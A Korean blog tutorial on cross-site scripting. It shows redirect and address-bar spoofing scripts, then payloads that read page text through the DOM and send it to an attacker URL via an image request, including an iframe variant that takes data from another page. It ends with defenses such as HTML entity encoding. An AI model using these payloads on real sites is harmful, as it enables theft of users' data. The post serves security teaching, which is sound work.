
iframe을 다루기 전, 기본적으로 Javascript으로 가능한 동작들을 살펴보고자 한다.
1) Page Redirect
: 페이지를 다른 곳으로 이동시킬 수 있다.
<script>
location.href = "URL";
또는
location.replace("URL");
</script>
| (1) location.href | (2) location.replace() |
|---|---|
![]() | ![]() |
2) 주소창 변조
: 현재 경로를 수정할 수 있다.
<script>
history.pushState(null, null, "URL");
</script>
| (1) 예시) 공격자의 블로그 주소 | (2) 자바스크립트 적용 | (3) 주소창 변조 |
|---|---|---|
![]() | ![]() | ![]() |
3) DOM 객체 접근
| Console 창에 document 입력 |
|---|
![]() |
| ○ document를 입력하게 되면 페이지 소스가 나오게 된다. |
| ● 자바스크립트로 이 코드에 접근할 수 있음을 의미한다. |
<script>
document.getElementById();
document.getElementsByName();
document.getElementsByClassName();
</script>
| (1) 개발자도구 (F12) 선택 |
|---|
![]() |
| (2) 요소선택기 (Ctrl+Shift+C) 를 눌러준 후 원하는 요소 클릭 |
|---|
![]() |
| ○ 요소의 속성값 확인 (식별자로 활용하기 위한 목적) |
| (3) getElement(s)By 를 통해 원하는 값 추출 |
|---|
![]() |
4) XSS & DOM 객체 접근 기법 활용
앞서 다뤘던 XSS 취약점에 DOM 객체 접근 방법을 합쳐 페이지 내 원하는 정보도 가져올 수 있게 된다.
이전 포스팅에서 다뤘던 Reflected XSS 취약점이 존재하는 페이지에서, DOM객체 접근을 활용하여 원하는 정보를 공격자 페이지로 전송하는 시나리오를 작성하고자 한다.
| (1) Reflected XSS 취약점이 있는 페이지는 다음과 같다. |
|---|
![]() |
해당 URL에 이용자가 방문하면, 위에 보이는 "Hello, 123" 이라는 텍스트(민감한 정보라고 가정) 가 공격자 페이지로 전송되게 스크립트를 작성하고자 한다.
| (2) 요소 선택기를 사용하여 원하는 태그의 정보 확인 |
|---|
![]() |
| (3) Console 창에서 해당 태그 값 추출 확인 |
|---|
![]() |
| (4) 스크립트 작성 |
|---|
| <script> window.addEventListener('load', () => { var data = document.querySelector("body > div > p:nth-child(7)").innerText; var i = new Image(); i.src = "URL?data="%2bdata; }); <script> |
![]() |
| (5) 해당 URL 값 전달 확인 |
|---|
![]() |
바로 위에서 XSS와 DOM객체 접근을 활용하는 방법을 다루어 보았다.
위의 경우에서는 XSS를 수행하는 페이지와, 데이터를 가져오는 페이지가 동일한 모습이다.
그러나, XSS가 발생한 페이지와 데이터를 가져올 페이지가 다른 경우 어떻게 해야할까? (ex. 게시판에서 XSS를 수행하여 mypage의 정보 추출)
A : Redirect시켜서 가져온다..??
▶ 스크립트는 해당 페이지를 벗어나는 순간 효력을 잃기 때문에 불가능하다.
즉, 한 페이지 안에 1. 게시판 페이지 와 2. 마이페이지 가 모두 존재해야 한다.
이러한 동작을 수행하기 위해 iframe이 사용된다.
1. iframe 태그
<iframe src="URL" id="target"></iframe>
| (1) 게시판 글작성 페이지에서 내용에 iframe 태그 입력 |
|---|
![]() |
| (2) 게시글에서 지정된 URL로 iframe창 생성 |
|---|
![]() |
2. 정보 추출 스크립트 작성
DOM 객체 접근 예제와 마찬가지로, iframe 안에 있는 "Hello, 123" 이라는 텍스트(민감한 정보라고 가정)를 추출하고자 한다.
<script>
var ttarget = document.getElementById('target');
ttarget.addEventListener('load', () => {
var domdata = ttarget.contentDocument;
var data = domdata.document.querySelector("body > div > p:nth-child(7)").innerText;
var i = new Image();
i.src="URL?data="+data;
});
</script>
| 실행 결과 |
|---|
![]() |
| ○ iframe 창 내부의 페이지로부터 데이터를 가져와, 공격자 페이지로 전달된다. |
1. 잘못된 대답 : 필터링
블랙 리스트 기반 필터링 : 특정 단어를 검열하는 것
화이트 리스트 기반 필터링 : 특정 단어만 허용하는 것
화이트 리스트 기반의 필터링을 사용하는 경우?
블랙리스트 기반의 필터링을 사용하는 경우?
script 필터링 우회 CASE
1) script 글자 자체가 필터링 되는 경우
2) 꺽세를 사용하지 못하는 경우
2. XSS를 완벽하게 방어하는 방법
▶ HTML 특수문자를 HTML Entity로 치환한다.
HTML Entity : HTML의 특정 문자열을 예약어로 지정한 것
< ' " > 의 4가지 기호를 HTML Entity로 치환하면 XSS를 근본적으로 방어할 수 있다.
그러나, HTML Entity를 사용하지 못하는 경우가 있다 (HTML Editor)
| 사진1 : HTML Editor |
|---|
![]() |
이 경우, 대응방안
1. 파라미터에서 HTML 특수문자들을 모두 HTML Entity로 치환한다.
2. 허용해줄 태그들을 식별하고, 그 태그들을 다시 복구한다. (화이트리스트 기반)
3. 복구한 태그 내에 악의적인 event Handler를 제거한다. (블랙리스트 기반)